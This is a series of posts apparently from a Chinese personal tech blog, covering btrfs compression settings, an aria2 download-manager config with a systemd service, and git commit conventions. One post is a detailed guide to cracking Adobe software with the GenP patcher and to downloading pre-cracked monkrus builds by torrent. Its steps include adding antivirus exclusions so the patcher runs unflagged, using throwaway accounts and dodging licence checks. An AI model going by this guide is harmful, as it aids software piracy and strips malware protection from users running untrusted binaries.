实际上图片中我没有测试完就结束运行了,因为上次测试发现,zstd压缩级别大于5时压缩后大小几乎不下降而读写速率持续下降。 从结果来看,无压缩的btrfs已经在读写速率上存在小幅下降,lzo压缩算法取得了还算不错的压缩率,而读写速率也有所下降。 可是我最看好的是压缩级别为1的zstd压缩。此时压缩率较lzo压缩有较大增长,而读写速率也有小幅下降,大于一的时候,读写速率持续下降,但是压缩率似乎已经达到极限了。 基于此,我最终选择了zstd压缩,压缩级别为1. 持久化设置 我们通过一个使用脚本完成了对压缩算法与级别的选择。可是如果想要应用压缩,需要在每次mount挂载时手动输入参数,否则就不会应用压缩。这对我来说是不可接受的,因为我已经习惯了在dolphin(文件管理器)里点击设备,自动挂载访问了。 那么有没有办法自动化应用挂载参数呢? 有! 答案在于/etc/fstab,linux已经提供了这样一种设置方式。 这个文件记录了某一个特定设备在挂载时应该挂载于什么目录,是什么文件系统,需要使用怎么样的参数。 这个文件非常重要,如果损毁将无法开机。在修改前建议先备份。 你应该会发现该文件每一行格式都如下: 1 <file system><dir><type><options><dump><pass> <file system>可以用/dev/sda1这样的设备名确定,但我更喜欢使用UUID,这样不容易出错。可以用sudo lsblk -f查看: UUID那一栏的内容,复制下来。 <dir>指定了该文件系统应该挂载于什么目录,它必须存在,否则会挂载失败。需要提前创建好。 <type> 写明文件系统。 <options>是这里的主角。如果你的fstab里已经有条目了,只需要增加compress=zstd:1就好了。 顺便推荐另外几个用于SSD上的btrfs参数:ssd,discard=async,space_cache=v2 <dump> 指定dump工具是否要备份此文件系统,一般我们都不用,置零即可。 <pass>指定需要检查的文件系统的检查顺序。允许的数字是0, 1, 和2。 根目录应当获得最高的优先权 1, 其它所有需要被检查的设备设置为 2. 0 表示设备不会被 fsck 所检查。 btrfs文件系统建议全部设置为0,因为btrfs的fsck是不起作用的。 btrfs支持在线检查,请在启动后使用btrfs scrub检查文件系统。 保存之后,重启生效。 压缩效果 你可以用之前安装的compsize检查压缩效果: 命令为: 1 compsize -x <路径> -x表示不跨越文件系统,不加上可能会报错: /boot/EFI/Microsoft/Boot/bg-BG/bootmgfw.efi.mui: Not btrfs (or SEARCH_V2 unsupported). 因为EFI分区使用了fat32文件系统。 从数据可以看出,在我的系统上,btrfs节省了6GB空间,可是要知道目前我整个系统,带上我一些文件一共只使用了19GB左右。(点名Windows) 总体来说,还是很满意的,吞吐量的减少对我的影响也不大。 你学会了吗?快利用酷酷的btrfs特性吧!

2025/8/8
articleCard.readMore

别当冤大头,Adobe全家桶破解源头方案:修图剪辑不求人,盗版网站也得从你这儿进货!

本站不提供盗版软件下载服务,本文仅供学习交流,严禁用于商业用途,请于24小时内删除。请支持正版! Adobe公司开发了一整套适用于艺术与创意工作者的重磅软件。Acrobat(那个PDF查看与编辑器),Ps, Pr,Ae,Lr等应用,你可能没用过,但是你一定听过。 (像元素周期表一样) 这些软件已成事实行业标准。虽然有开源替代方案,终究有一定距离。而正版虽好,价格太贵,穷学生也想用的话就要上网找破解版了。 可是在国内互联网环境下,上网一搜,不是老旧版本,就是要付费下载(积分,关注公众号,解压密码,这些坑都踩过吗),或者有肉眼可见的捆绑恶意软件。 不知道你有没有想过,何不直接从货源拿货,这些破解软件产自哪里,我们就从哪里下载! 这一把厂家直销,拿到的版本应该就比较可靠了,而且还是最新的。 美好的过去 其实在2023年8月11日前,只要在国内互联网上摸索会儿,你就会看到@vposy的鼎鼎大名,这是国内的原创adobe破解软件作者,历史背景很复杂,不展开了。 但是美好的故事结束了: 8 月 11 号的时候,国内嬴政天下 Adobe 全家桶系列的作者 Vposy 宣布因「工作调动」暂停更新。 这可是国内不少盗版软件站点的上游啊,这一出,国内一堆破解站就在2025年的今天,拿着2022、2023年的旧版本招摇撞骗。 论破解,还是得看俄罗斯黑客 众所周知,俄罗斯的黑客水平一流,不少破解软件就是那里流出的🤣 经过我的探索,我顺藤摸瓜地找到了各个破解版本之母:GenP GenP是一个补丁程序,也就是说它并不直接提供破解版本软件,需要你自己从Adobe网站下载官方安装包,再运行GenP对其进行修改,达到无限期试用的效果。 其wiki在:https://wiki.dbzer0.com/genp-guides/ wiki中提供了完整安装过程,但是是英语。 下面,我将为你翻译并整理 GenP 官方 Wiki 的核心安装指南,让你能“厂家直销”,安全、顺利地完成操作。 安装前:必读的核心信息 在开始之前,请务必阅读以下几点,这能帮你避免90%的问题。 🔴 重要警告:只从官方Wiki下载! GenP 是完全免费的,并且将永远免费。官方不会以任何形式要求或接受捐赠。如果你下载 GenP 的地方需要你付费、等待、完成任务、关注公众号,或者点击一堆广告链接,那100%是假的! 这些第三方网站经常捆绑广告、弹窗甚至恶意软件。请务必从官方渠道获取,保证安全和纯净。 🔴 系统要求:仅限 Windows,不支持 ARM 操作系统:GenP 只支持 x64 架构的 Windows 10 或 11 系统。 不支持 ARM:如果你的电脑使用高通骁龙处理器(比如 Surface Pro 11 或其他 “Copilot+ PC”),那么它是 ARM 架构,无法运行 GenP。 不支持的平台:macOS, Linux, 以及任何修改版或精简版 Windows (如 LTSC, Tiny11, GhostSpectre) 都不在支持范围内。 🔴 功能限制:生成式填充 (Generative Fill) 等 AI 功能不可用 像 Photoshop 里的生成式填充、Firefly AI 等功能是基于 Adobe 服务器的,需要有效的正版订阅才能联网使用。使用 GenP 后,这些联网 AI 功能将无法使用。请不要反复尝试或提问。 第一步:准备工作 (将 GenP 添加到杀毒软件白名单) 由于 GenP 的工作原理是修改文件,几乎所有杀毒软件(包括 Windows Defender)都会误报它为病毒。因此,在下载和解压前,你需要将存放 GenP 的文件夹添加到白名单(排除项)。 以 Windows Defender 为例: 打开 设置 > 隐私和安全性 > Windows 安全中心。 进入 病毒和威胁防护 > “病毒和威胁防护”设置 > 管理设置。 滚动到最下方,找到 排除项,点击 “添加或删除排除项”。 点击 “添加排除项” > “文件夹”,然后选择你计划用来存放 GenP 的文件夹。 如果你使用其他杀毒软件(如 Avast, Bitdefender, Kaspersky 等),请自行搜索如何添加排除项。 第二步:正式安装 (CC + GenP 方案) 这是官方最推荐的方案,通过官方 Creative Cloud 安装应用,再用 GenP 进行激活。 所需工具: Creative Cloud (CC) 安装程序:从 Adobe 官网下载。 最新版 GenP:从官方 Wiki 的下载目录获取(通常选择 Latest Updated Version)。 详细步骤: 安装 Creative Cloud (CC) 运行下载好的 CC 安装程序。 你需要登录一个 Adobe 账户。强烈建议注册一个新账户,不要使用你之前有订阅或试用记录的老账户,以免出现问题。(可以使用临时邮箱注册) 安装完成后,打开 CC,进入 菜单 > 文件 > 首选项,在“常规”选项卡中,关闭以下三个选项: 登录时启动 Creative Cloud 关闭后在后台运行 Creative Cloud 自动保持 Creative Cloud 为最新状态 完成设置后,点击 菜单 > 文件 > 退出 Creative Cloud,确保其完全关闭。 2. 下载并解压 GenP 从官方 Wiki 下载最新版的 GenP 压缩包。 解压到一个你已经添加了白名单的文件夹里。如果解压后 .exe 文件消失了,说明被杀毒软件隔离了,请检查你的白名单设置。 3. 激活 Creative Cloud 以 管理员身份运行 GenP.exe。 点击 “Search” 按钮,GenP 会自动搜索已安装的 Adobe 程序。 等待搜索结果出来后,只勾选 列表顶部的三个关于 Creative Cloud 的文件。 点击 “Patch” 按钮,等待它完成。当界面自动切换到 “Log” 选项卡时,就表示完成了。 4. 从 CC 中安装你需要的 Adobe 应用 打开 Creative Cloud。现在你应该能看到所有应用的旁边都有一个“安装”按钮,而不是“试用”或“购买”。 点击安装你想要的任何应用(如 Photoshop, Premiere Pro 等)。 全部安装完成后,先不要打开任何应用。再次退出 Creative Cloud。 5. 激活你安装的 Adobe 应用 再次以 管理员身份运行 GenP.exe。 点击 “Search”,GenP 会找到你刚刚安装的所有应用。 默认情况下所有找到的应用都会被勾选。确认无误后,点击 “Patch”。 等待过程结束。 6. 完成! 现在,你可以从开始菜单、桌面快捷方式或程序文件夹中直接打开你安装的 Adobe 应用了。切记:不要通过 Creative Cloud 界面里的“打开”按钮来启动应用,因为 CC 会联网验证,可能导致激活失效。 关于更新: 更新应用:可以在 CC 中直接更新应用,但更新后必须重复第 5 步,再次运行 GenP 对更新后的应用进行激活。 更新 CC:如果 CC 本身需要更新,更新后也必须重复第 3 步,再次激活 CC。 如果搞砸了怎么办:终极清理方案 如果你在安装过程中遇到问题,或者想彻底卸载重来,可以采用官方的完全清理方法,确保不留任何残余。 运行 Adobe 官方清理工具:下载并运行 Adobe Creative Cloud Cleaner Tool,选择清理所有(Clean All)。 手动删除文件夹:在文件管理器中,手动检查并删除以下路径中的所有 Adobe 相关文件夹(如果存在): 1 2 3 4 5 6 C:\Program Files\Adobe C:\Program Files\Common Files\Adobe C:\Program Files (x86)\Adobe C:\Program Files (x86)\Common Files\Adobe %appdata% (会定位到 C:\Users\你的用户名\AppData\Roaming) %localappdata% (会定位到 C:\Users\你的用户名\AppData\Local) 清理注册表: 按下 Win + R,输入 regedit 打开注册表编辑器。 分别在 HKEY_CURRENT_USER\Software 和 HKEY_LOCAL_MACHINE\Software 路径下,找到并删除 Adobe 项。 重启电脑:重启后,你的电脑就恢复了“纯净”状态,可以重新按照指南从头开始了。 希望这份“厂家直销”的指南能帮到你。请务必谨慎操作,并始终从官方渠道获取信息,享受你的创作之旅吧! 但是,如果你像我一样懒 其实上面的指南已经很详细了,但是如果你和我一样懒,希望直接安装使用,那么,你可以尝试官方Wiki里提到的monkrus版本 这个版本相当于预先用GenP破解过了,又精简修改了一下,版本同样很新。只是有些可选功能需要安装后额外下载。 同时,由于是“网络上的陌生人”构建的二进制版本版本,使用时,你需要自行承担风险! 警告完了,接下来是方法: 还是访问GenP的网站 你会在页面下方找到很多链接: 选择你需要的产品点进去。(可能需要自备科学上网工具) 对了,第一项qBittorent是一个BT下载工具,懂得应该都懂,如果你还没有一个BT下载器,可以看看本站的这篇文章:轻松配置aria2下载器,通过systemd设置开机自启并与浏览器集成,或者希望方便一点,就直接下载qBittorent吧,也是开源的 XD 这是monkrus的官方网站,这网站不做别的,就和Adobe叫板。 当然这界面也一股苏联老大哥味,反正我是看不懂,右上角有翻译按钮。 这里以Adobe Acrobat Pro为例。众所周知,我们每天使用的PDF格式是Adobe公司开发的,而Adobe Acrobat Pro是Adobe官方开发的PDF查看与编辑器,兼容性和功能都没的说。 现在电脑一般都是64位操作系统了,就别下x86的32位版本了。 详情页下方,有许多下载链接: 这里的链接,你可能打得开,也可能不行,看网络环境。 (我惊奇的发现还有个PB.WTF网站,有点想笑) (彭勃,What the Fuck!) 然后,你会得到…… 一个大小以KB计的种子 用你的BT下载器打开它,剩下来的就不用我说了吧? 创作愉快! (终于不用在鱼龙混杂的搜索引擎里蹚浑水了) (知道了资源,是不是马上能开盗版站了呢🤔) 免责声明 本站不提供盗版软件下载服务,本文仅供学习交流,严禁用于商业用途,请于24小时内删除。请支持正版!

2025/8/7
articleCard.readMore

轻松配置aria2下载器,通过systemd设置开机自启并与浏览器集成

高考完了,我买了新的笔记本电脑,是ThinkBook 16+ 2025 Ultra9 285H 32GB+1TB 核显版本,对于不怎么玩游戏的我来说,基本上够用了。高考前觉得闲下来之后会经常更新博客,但好像一直鸽着。。。 忙活了很多其他的事吧,在我看到我的好多同学学python、学C的最近,我倒没有把太多时间花在倒腾技术上。 不过出于对archlinux的热爱,我在WSL与双系统方案间犹豫了好久,还是决定在如此前沿的硬件上作死折腾archlinux 后续可能有系列文章吧。 言归正传,回到今天的主角,Aria2下载器 什么是aria2 官方github仓库 这是中国人开发的,但是README是英文,里面的介绍翻译过来是这样: Aria2是下载文件的实用程序。 支持的协议有:HTTP(S)、FTP、SFTP、BitTorrent和Metalink。 Aria2可以从多个源/协议下载文件,并尝试利用您的最大下载带宽。 它支持同时从HTTP(S)/FTP/SFTP和BitTorrent下载文件,同时将从HTTP(S)/FTP/SFTP下载的数据上传到BitTorrent群。使用Metalink的块校验和,aria2在下载像BitTorrent这样的文件时自动验证数据块。 听起来云里雾里的?正常。我总结一下,它是一个类似于IDM或者迅雷的多线程全能下载器 这意味着在服务器支持的情况下,下载文件不再是从头下到尾,而是将整个文件分成多个部分同时进行下载,得到可观的下载速度。 这个工具很强大,但是入手有一定门槛。需要自己编辑配置文件,虽然不难但是烦,重装系统的时候就知道了🥺 所以在此共享我的aria2.conf配置文件,希望能帮到你我。占位符用$$$括起来了,记得按照实际情况修改。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 ## 文件保存设置 ## # 下载目录。可使用绝对路径或相对路径, 默认: 当前启动位置 dir=$$$自己设置$$$ # 磁盘缓存, 0 为禁用缓存,默认:16M # 磁盘缓存的作用是把下载的数据块临时存储在内存中,然后集中写入硬盘,以减少磁盘 I/O ,提升读写性能,延长硬盘寿命。 # 建议在有足够的内存空闲情况下适当增加,但不要超过剩余可用内存空间大小。 # 此项值仅决定上限,实际对内存的占用取决于网速(带宽)和设备性能等其它因素。 disk-cache=128M # 文件预分配方式, 可选:none, prealloc, trunc, falloc, 默认:prealloc # 预分配对于机械硬盘可有效降低磁盘碎片、提升磁盘读写性能、延长磁盘寿命。 # 机械硬盘使用 ext4(具有扩展支持),btrfs,xfs 或 NTFS(仅 MinGW 编译版本)等文件系统建议设置为 falloc # 若无法下载,提示 fallocate failed.cause:Operation not supported 则说明不支持,请设置为 none # prealloc 分配速度慢, trunc 无实际作用,不推荐使用。 # 固态硬盘不需要预分配,只建议设置为 none ,否则可能会导致双倍文件大小的数据写入,从而影响寿命。 file-allocation=none # 文件预分配大小限制。小于此选项值大小的文件不预分配空间,单位 K 或 M,默认:5M no-file-allocation-limit=64M # 断点续传 continue=true # 始终尝试断点续传,无法断点续传则终止下载,默认:true always-resume=false # 不支持断点续传的 URI 数值,当 always-resume=false 时生效。 # 达到这个数值从将头开始下载,值为 0 时所有 URI 不支持断点续传时才从头开始下载。 max-resume-failure-tries=0 # 获取服务器文件时间,默认:false remote-time=true ## 进度保存设置 ## # 从会话文件中读取下载任务 input-file=$$$可修改,推荐~/.aria2/aria2.session$$$ # 会话文件保存路径 # Aria2 退出时或指定的时间间隔会保存`错误/未完成`的下载任务到会话文件 save-session=$$$可修改,推荐~/aria2/aria2.session$$$ # 任务状态改变后保存会话的间隔时间(秒), 0 为仅在进程正常退出时保存, 默认:0 # 为了及时保存任务状态、防止任务丢失,此项值只建议设置为 1 save-session-interval=1 # 自动保存任务进度到控制文件(*.aria2)的间隔时间(秒),0 为仅在进程正常退出时保存,默认:60 # 此项值也会间接影响从内存中把缓存的数据写入磁盘的频率 # 想降低磁盘 IOPS (每秒读写次数)则提高间隔时间 # 想在意外非正常退出时尽量保存更多的下载进度则降低间隔时间 # 非正常退出:进程崩溃、系统崩溃、SIGKILL 信号、设备断电等 auto-save-interval=30 # 强制保存,即使任务已完成也保存信息到会话文件, 默认:false # 开启后会在任务完成后保留 .aria2 文件,文件被移除且任务存在的情况下重启后会重新下载。 # 关闭后已完成的任务列表会在重启后清空。 force-save=false ## 下载连接设置 ## # 文件未找到重试次数,默认:0 (禁用) # 重试时同时会记录重试次数,所以也需要设置 max-tries 这个选项 max-file-not-found=10 # 最大尝试次数,0 表示无限,默认:5 max-tries=0 # 重试等待时间(秒), 默认:0 (禁用) retry-wait=10 # 连接超时时间(秒)。默认:60 connect-timeout=10 # 超时时间(秒)。默认:60 timeout=10 # 最大同时下载任务数, 运行时可修改, 默认:5 max-concurrent-downloads=10 # 单服务器最大连接线程数, 任务添加时可指定, 默认:1 # 最大值为 16 (增强版无限制), 且受限于单任务最大连接线程数(split)所设定的值。 max-connection-per-server=16 # 单任务最大连接线程数, 任务添加时可指定, 默认:5 split=64 # 文件最小分段大小, 添加时可指定, 取值范围 1M-1024M (增强版最小值为 1K), 默认:20M # 比如此项值为 10M, 当文件为 20MB 会分成两段并使用两个来源下载, 文件为 15MB 则只使用一个来源下载。 # 理论上值越小使用下载分段就越多,所能获得的实际线程数就越大,下载速度就越快,但受限于所下载文件服务器的策略。 min-split-size=4M # HTTP/FTP 下载分片大小,所有分割都必须是此项值的倍数,最小值为 1M (增强版为 1K),默认:1M piece-length=1M # 允许分片大小变化。默认:false # false:当分片大小与控制文件中的不同时将会中止下载 # true:丢失部分下载进度继续下载 allow-piece-length-change=true # 最低下载速度限制。当下载速度低于或等于此选项的值时关闭连接(增强版本为重连),此选项与 BT 下载无关。单位 K 或 M ,默认:0 (无限制) lowest-speed-limit=0 # 全局最大下载速度限制, 运行时可修改, 默认:0 (无限制) max-overall-download-limit=0 # 单任务下载速度限制, 默认:0 (无限制) max-download-limit=0 # 禁用 IPv6, 默认:false disable-ipv6=false # GZip 支持,默认:false http-accept-gzip=true # URI 复用,默认: true reuse-uri=true # 禁用 netrc 支持,默认:false no-netrc=true # 允许覆盖,当相关控制文件(.aria2)不存在时从头开始重新下载。默认:false allow-overwrite=false # 文件自动重命名,此选项仅在 HTTP(S)/FTP 下载中有效。新文件名在名称之后扩展名之前加上一个点和一个数字(1..9999)。默认:true auto-file-renaming=true # 使用 UTF-8 处理 Content-Disposition ,默认:false content-disposition-default-utf8=true # 最低 TLS 版本,可选:TLSv1.1、TLSv1.2、TLSv1.3 默认:TLSv1.2 #min-tls-version=TLSv1.2 ## BT/PT 下载设置 ## # BT 监听端口(TCP), 默认:6881-6999 # 直通外网的设备,比如 VPS ,务必配置防火墙和安全组策略允许此端口入站 # 内网环境的设备,比如 NAS ,除了防火墙设置,还需在路由器设置外网端口转发到此端口 listen-port=51413 # DHT 网络与 UDP tracker 监听端口(UDP), 默认:6881-6999 # 因协议不同,可以与 BT 监听端口使用相同的端口,方便配置防火墙和端口转发策略。 dht-listen-port=51413 # 启用 IPv4 DHT 功能, PT 下载(私有种子)会自动禁用, 默认:true enable-dht=true # 启用 IPv6 DHT 功能, PT 下载(私有种子)会自动禁用,默认:false # 在没有 IPv6 支持的环境开启可能会导致 DHT 功能异常 enable-dht6=false # 指定 BT 和 DHT 网络中的 IP 地址 # 使用场景:在家庭宽带没有公网 IP 的情况下可以把 BT 和 DHT 监听端口转发至具有公网 IP 的服务器,在此填写服务器的 IP ,可以提升 BT 下载速率。 #bt-external-ip= # IPv4 DHT 文件路径,默认:$HOME/.aria2/dht.dat dht-file-path=$$$可修改$$$ # IPv6 DHT 文件路径,默认:$HOME/.aria2/dht6.dat dht-file-path6=$$$可修改$$$ # IPv4 DHT 网络引导节点 dht-entry-point=dht.transmissionbt.com:6881 # IPv6 DHT 网络引导节点 dht-entry-point6=dht.transmissionbt.com:6881 # 本地节点发现, PT 下载(私有种子)会自动禁用 默认:false bt-enable-lpd=true # 指定用于本地节点发现的接口,可能的值:接口,IP地址 # 如果未指定此选项,则选择默认接口。 #bt-lpd-interface= # 启用节点交换, PT 下载(私有种子)会自动禁用, 默认:true enable-peer-exchange=true # BT 下载最大连接数(单任务),运行时可修改。0 为不限制,默认:55 # 理想情况下连接数越多下载越快,但在实际情况是只有少部分连接到的做种者上传速度快,其余的上传慢或者不上传。 # 如果不限制,当下载非常热门的种子或任务数非常多时可能会因连接数过多导致进程崩溃或网络阻塞。 # 进程崩溃:如果设备 CPU 性能一般,连接数过多导致 CPU 占用过高,因资源不足 Aria2 进程会强制被终结。 # 网络阻塞:在内网环境下,即使下载没有占满带宽也会导致其它设备无法正常上网。因远古低性能路由器的转发性能瓶颈导致。 bt-max-peers=128 # BT 下载期望速度值(单任务),运行时可修改。单位 K 或 M 。默认:50K # BT 下载速度低于此选项值时会临时提高连接数来获得更快的下载速度,不过前提是有更多的做种者可供连接。 # 实测临时提高连接数没有上限,但不会像不做限制一样无限增加,会根据算法进行合理的动态调节。 bt-request-peer-speed-limit=10M # 全局最大上传速度限制, 运行时可修改, 默认:0 (无限制) # 设置过低可能影响 BT 下载速度 max-overall-upload-limit=2M # 单任务上传速度限制, 默认:0 (无限制) max-upload-limit=0 # 最小分享率。当种子的分享率达到此选项设置的值时停止做种, 0 为一直做种, 默认:1.0 # 强烈建议您将此选项设置为大于等于 1.0 seed-ratio=1.0 # 最小做种时间(分钟)。设置为 0 时将在 BT 任务下载完成后停止做种。 seed-time=0 # 做种前检查文件哈希, 默认:true bt-hash-check-seed=true # 继续之前的BT任务时, 无需再次校验, 默认:false bt-seed-unverified=false # BT tracker 服务器连接超时时间(秒)。默认:60 # 建立连接后,此选项无效,将使用 bt-tracker-timeout 选项的值 bt-tracker-connect-timeout=10 # BT tracker 服务器超时时间(秒)。默认:60 bt-tracker-timeout=10 # BT 服务器连接间隔时间(秒)。默认:0 (自动) #bt-tracker-interval=0 # BT 下载优先下载文件开头或结尾 bt-prioritize-piece=head=32M,tail=32M # 保存通过 WebUI(RPC) 上传的种子文件(.torrent),默认:true # 所有涉及种子文件保存的选项都建议开启,不保存种子文件有任务丢失的风险。 # 通过 RPC 自定义临时下载目录可能不会保存种子文件。 rpc-save-upload-metadata=true # 下载种子文件(.torrent)自动开始下载, 默认:true,可选:false|mem # true:保存种子文件 # false:仅下载种子文件 # mem:将种子保存在内存中 follow-torrent=true # 种子文件下载完后暂停任务,默认:false # 在开启 follow-torrent 选项后下载种子文件或磁力会自动开始下载任务进行下载,而同时开启当此选项后会建立相关任务并暂停。 pause-metadata=false # 保存磁力链接元数据为种子文件(.torrent), 默认:false bt-save-metadata=true # 加载已保存的元数据文件(.torrent),默认:false bt-load-saved-metadata=true # 删除 BT 下载任务中未选择文件,默认:false bt-remove-unselected-file=true # BT强制加密, 默认: false # 启用后将拒绝旧的 BT 握手协议并仅使用混淆握手及加密。可以解决部分运营商对 BT 下载的封锁,且有一定的防版权投诉与迅雷吸血效果。 # 此选项相当于后面两个选项(bt-require-crypto=true, bt-min-crypto-level=arc4)的快捷开启方式,但不会修改这两个选项的值。 bt-force-encryption=true # BT加密需求,默认:false # 启用后拒绝与旧的 BitTorrent 握手协议(\19BitTorrent protocol)建立连接,始终使用混淆处理握手。 #bt-require-crypto=true # BT最低加密等级,可选:plain(明文),arc4(加密),默认:plain #bt-min-crypto-level=arc4 # 分离仅做种任务,默认:false # 从正在下载的任务中排除已经下载完成且正在做种的任务,并开始等待列表中的下一个任务。 bt-detach-seed-only=true ## 客户端伪装 ## # 自定义 User Agent user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36 Edg/93.0.961.47 # BT 客户端伪装 # PT 下载需要保持 user-agent 和 peer-agent 两个参数一致 # 部分 PT 站对 Aria2 有特殊封禁机制,客户端伪装不一定有效,且有封禁账号的风险。 #user-agent=Deluge 1.3.15 peer-agent=Deluge 1.3.15 peer-id-prefix=-DE13F0- ## 执行额外命令 ## # 下载停止后执行的命令 # 从 正在下载 到 删除、错误、完成 时触发。暂停被标记为未开始下载,故与此项无关。 # on-download-stop=/root/.aria2/delete.sh # 下载完成后执行的命令 # 此项未定义则执行 下载停止后执行的命令 (on-download-stop) # on-download-complete=/root/.aria2/clean.sh # 下载错误后执行的命令 # 此项未定义则执行 下载停止后执行的命令 (on-download-stop) #on-download-error= # 下载暂停后执行的命令 #on-download-pause= # 下载开始后执行的命令 #on-download-start= # BT 下载完成后执行的命令 #on-bt-download-complete= ## RPC 设置 ## # 启用 JSON-RPC/XML-RPC 服务器, 默认:false enable-rpc=true # 接受所有远程请求, 默认:false rpc-allow-origin-all=true # 允许外部访问, 默认:false rpc-listen-all=true # RPC 监听端口, 默认:6800 rpc-listen-port=6800 # RPC 密钥 rpc-secret=$$$设置成你自己的$$$ # RPC 最大请求大小 rpc-max-request-size=10M # RPC 服务 SSL/TLS 加密, 默认:false # 启用加密后必须使用 https 或者 wss 协议连接 # 不推荐开启,建议使用 web server 反向代理,比如 Nginx、Caddy ,灵活性更强。 #rpc-secure=false # 在 RPC 服务中启用 SSL/TLS 加密时的证书文件(.pem/.crt) #rpc-certificate=/root/.aria2/xxx.pem # 在 RPC 服务中启用 SSL/TLS 加密时的私钥文件(.key) #rpc-private-key=/root/.aria2/xxx.key # 事件轮询方式, 可选:epoll, kqueue, port, poll, select, 不同系统默认值不同 #event-poll=select ## 高级选项 ## # 启用异步 DNS 功能。默认:true async-dns=true # 指定异步 DNS 服务器列表,未指定则从 /etc/resolv.conf 中读取。 async-dns-server=119.29.29.29,114.114.114.114,8.8.8.8,1.1.1.1 # 指定单个网络接口,可能的值:接口,IP地址,主机名 # 如果接口具有多个 IP 地址,则建议指定 IP 地址。 # 已知指定网络接口会影响依赖本地 RPC 的连接的功能场景,即通过 localhost 和 127.0.0.1 无法与 Aria2 服务端进行讯通。 #interface= # 指定多个网络接口,多个值之间使用逗号(,)分隔。 # 使用 interface 选项时会忽略此项。 #multiple-interface= ## 日志设置 ## # 日志文件保存路径,忽略或设置为空为不保存,默认:不保存 #log= # 日志级别,可选 debug, info, notice, warn, error 。默认:debug #log-level=warn # 控制台日志级别,可选 debug, info, notice, warn, error ,默认:notice console-log-level=notice # 安静模式,禁止在控制台输出日志,默认:false quiet=false # 下载进度摘要输出间隔时间(秒),0 为禁止输出。默认:60 summary-interval=0 # 关闭控制台进度条输出,避免日志里面打印大量空行 show-console-readout=false 请根据实际内容修改 推荐把修改后的文件保存到~/.aria2/aria2.conf 配置aria2开机自启(仅适用于linux) 按照上面说的做了以后其实只要在终端运行aria2c --conf-path=~/.aria2/aria2.conf就启动后端程序了。 但是我觉得在每次下载前都要这么跑一下把它打开太多余了,寻思着让它开机自启 在网上搜索了一圈,发现推荐的方案是编写systemd用户服务单元。 然后发现不会写。🥲 没关系,我们有Gemini !🤑 我的双子座助手如是说: 1 2 3 4 5 6 7 8 9 [Unit] Description=aria2 Daemon [Service] Type=simple ExecStart=/usr/bin/aria2c --conf-path=$$$修改成你的aria2.conf位置$$$ [Install] WantedBy=default.target 保存成为~/.config/systemd/user/aria2cd.service就ok了 为了让systemd知道这里配置文件更新了,你还需要运行 1 sudo systemctl daemon-reload 然后运行此命令启动: 1 systemctl enable aria2cd --now --user 注意这里不要加sudo,因为这里有--user flag,标识这是用户服务单元,而非root的。 该命令会使aria2cd立即启动,并在以后开机的时候启动。 这是资源占用情况,并不高,后台挂着就挂着吧 浏览器集成 Firefox: 我用的是这个,仅供参考 这个不包含前端,如果需要WebUI查看下载进度等,可以使用AriaNG官方实例 Chrome/Chromium/Edge: 可以用Aria2-Explorer,还蛮好用的,还内置WebUI,打开很方便。 安装地址: Chrome Web Store Microsoft Store 填写密码的时候,就是aria2.conf里配置的 ,端口默认。 进入WebUI可以更改更多设置。 效果 Your browser does not support the video tag. 你学会了吗? 快扔掉IDM吧!

2025/8/7
articleCard.readMore

Git Commit 规范指南

Git Commit 规范指南 用了那么久的git,输入git commit -m 之后是不是还是无从写起?大型项目的git提交记录看起来就很规范高大上。看看这篇短文,你也能写出高级感的git提交信息! 常用格式 1 2 3 4 5 <type>[scope]: <subject> [body] [footer] 各部分说明 1. <type> 提交类型 类型图标描述 feat✨新功能 fix🐛修复 bug docs📚仅修改文档 style💄不影响逻辑的代码格式(空格等) refactor♻️代码重构(非功能、非修复) perf⚡提升性能 test✅添加或修改测试代码 build🛠️构建系统或依赖的变更 ci👷CI配置相关(GitHub Actions) chore🧹杂务,如修改 .gitignore 等 revert⏪回滚提交 2. [scope] 影响范围(可选) 表示本次 commit 影响的模块或功能块,如: 1 2 feat(auth): 添加登录功能 fix(api): 修复用户接口错误处理 3. <subject> 简要说明 祈使语气,如:add, update, delete 不用句号 用英文的话小写即可 4. [body] 提交说明(可选) 说明为什么要做这个修改、修改的动机、解决的问题等,必要时写。建议 72 字换行。 5. [footer] 脚注(可选) 常用于关联 issue 或注明 breaking change: 1 2 3 BREAKING CHANGE: 用户数据结构已更改,不兼容旧版本 Closes #123 ✅ 示例 1 2 3 4 5 6 7 8 9 feat(user): 添加用户注册功能 新增用户注册页面,支持邮箱验证和密码强度检测。 fix(auth): 修复 JWT 校验失败的问题 原因是 token 过期未处理,已增加刷新机制。 Closes #45 小tips 在github还有gitee的网页版上,输入#加数字就能跳转到对应issue的页面。、 以上内容可以复制下来丢给人工智能,然后把git diff --cache | cat的内容附上,就能自动写出git提交信息啦! 实测:

2025/6/30
articleCard.readMore

国产开源软件Alist被倒卖投毒,本站文件分享暂时关闭

